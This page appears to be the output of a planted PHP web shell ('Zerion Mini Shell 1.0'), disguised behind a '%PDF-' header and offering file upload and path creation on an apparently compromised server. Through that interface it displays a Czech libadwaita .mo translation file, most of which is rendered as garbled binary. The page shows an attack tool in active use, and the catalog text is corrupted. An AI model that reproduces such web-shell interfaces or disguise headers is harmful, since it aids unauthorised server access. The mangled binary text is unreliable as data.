%PDF- %PDF-
Mini Shell

Mini Shell

Direktori : /snap/gnome-42-2204/176/usr/share/locale/cs/LC_MESSAGES/
Upload File :
Create Path :
Current File : //snap/gnome-42-2204/176/usr/share/locale/cs/LC_MESSAGES/libadwaita.mo

��S�qL &7?[a
v�����	�����	
1-5_*�.�*�.	3I	7}	1�	5�	


+
9
?
W
d

�

�
�

�
V�
%2>Upw��	�
����\�n
5
C
S
k
$�

�

�
�
�
�

�

!*1BN]p�
���P
k
v����
�����-<W`rz�5�:�.35.i3�7�<5A:w����
�	$1K_na���
 !Bahu�	���!��
�X�_7CX-u'����
	1;N[q������P@)4 SIJ?,;7.AF6'#
(
OBH%GN9->5=QC2":K$R8<!&3*EM	1LD/+0%u Tab%u TabsAboutAcknowledgementsAdwaitaApache License, Version 2.0ApplyArtistic License 2.0Artwork byBSD 2-Clause LicenseBSD 3-Clause LicenseBackCaps Lock is onCloseClose TabCode byCopied to clipboardCreditsDebugging InformationDesign byDetailsDocumentation byGNU Affero General Public License, version 3 onlyGNU Affero General Public License, version 3 or laterGNU General Public License, version 2 onlyGNU General Public License, version 2 or laterGNU General Public License, version 3 onlyGNU General Public License, version 3 or laterGNU Lesser General Public License, version 2.1 onlyGNU Lesser General Public License, version 2.1 or laterGNU Lesser General Public License, version 3 onlyGNU Lesser General Public License, version 3 or laterHide PasswordHigh ContrastLegalLine: %d, character: %dMore OptionsMozilla Public License 2.0New _TabNo Open TabsNo PreferenceNo Results FoundNo Tabs FoundOverride settings for this application. They will be reset upon closing the inspector.Prefer DarkPrefer LightPreferencesPreferred Color SchemeSave debugging informationSearchSearch TabsSearch preferencesSearch tabsSearch…Show PasswordSystem AppearanceSystem Supports Color SchemesThe MIT License (MIT)This ApplicationThis application comes with absolutely no warranty. See the <a href="%s">%s</a> for details.To assist in troubleshooting, you can view your debugging information. Providing this information to the application developers can help diagnose any problems you encounter when you report an issue.Translated byTroubleshootingTry a different search.Unable to parse release notes:Unable to save debugging informationUntitled pageVersion %sView Open TabsWhat’s New_Acknowledgements_Copy Text_Credits_Debugging Information_Details_Legal_Report an Issue_Save as…_Show Password_Support Questions_Troubleshooting_Website_What’s NewProject-Id-Version: libadwaita
Report-Msgid-Bugs-To: https://gitlab.gnome.org/GNOME/libadwaita/issues
PO-Revision-Date: 2023-08-31 16:32+0200
Last-Translator: Daniel Rusek <mail@asciiwolf.com>
Language-Team: Czech <gnome-cs-list@gnome.org>
Language: cs
MIME-Version: 1.0
Content-Type: text/plain; charset=UTF-8
Content-Transfer-Encoding: 8bit
Plural-Forms: nplurals=3; plural=(n==1) ? 0 : (n>=2 && n<=4) ? 1 : 2;
X-Generator: Poedit 3.3.2
%u karta%u karty%u karetO aplikaciPoděkováníAdwaitaApache License, verze 2.0PoužítArtistic License 2.0ZtvárniliBSD 2-Clause LicenseBSD 3-Clause LicenseZpětJe zapnutý Caps LockZavřítZavřít kartuNaprogramovaliZkopírováno do schránkyZásluhyLadicí informaceNavrhliPodrobnostiZdokumentovaliGNU Affero General Public License, výhradně verze 3GNU Affero General Public License, verze 3 nebo novějšíGNU General Public License, výhradně verze 2GNU General Public License, verze 2 nebo novějšíGNU General Public License, výhradně verze 3GNU General Public License, verze 3 nebo novějšíGNU Lesser General Public License, výhradně verze 2.1GNU Lesser General Public License, verze 2.1 nebo novějšíGNU Lesser General Public License, výhradně verze 3GNU Lesser General Public License, verze 3 nebo novějšíSkrýt hesloVysoký kontrastPrávní ustanovenířádek: %d, znak: %dDalší volbyMozilla Public License 2.0Nová kar_taŽádné otevřené kartyžádné preferenceNic nenalezenoNenalezena žádná kartaPřepsat nastavení pro tuto aplikaci. Po zavření inspektora bude uvedeno do původního stavu.upřednostnit tmavéupřednostnit světléPředvolbyUpřednostňované schéma barevUložení ladicích informacíHledatHledat kartyPředvolby hledáníhledat kartyHledat…Zobrazit hesloVzhled systémuSystém podporuje schémata barevThe MIT License (MIT)Tato aplikaceTato aplikace je šířena bez jakýchkoliv záruk. Podrobnosti viz <a href="%s">%s</a>.Při řešení problémů můžete si zobrazit ladicí informace. Poskytnutí těchto informací vývojářům aplikace může výrazně pomoci odhalit příčiny problémů, na které jste narazili a nahlásili je.PřeložiliŘešení problémůZkuste hledat něco jiného.Nezdařilo se zpracovat poznámky k vydání:Nezdařilo se uložit ladicí informaceStránka bez názvuVerze %sZobrazit otevřené kartyCo je nového_PoděkováníZ_kopírovat textZá_sluhyLa_dicí informacePo_drobnosti_Právní ustanoveníNahlásit p_roblém_Uložit jako…_Zobrazit heslo_Dotazy na podporuŘešení pro_blémů_Webové stránky_Co je nového

Zerion Mini Shell 1.0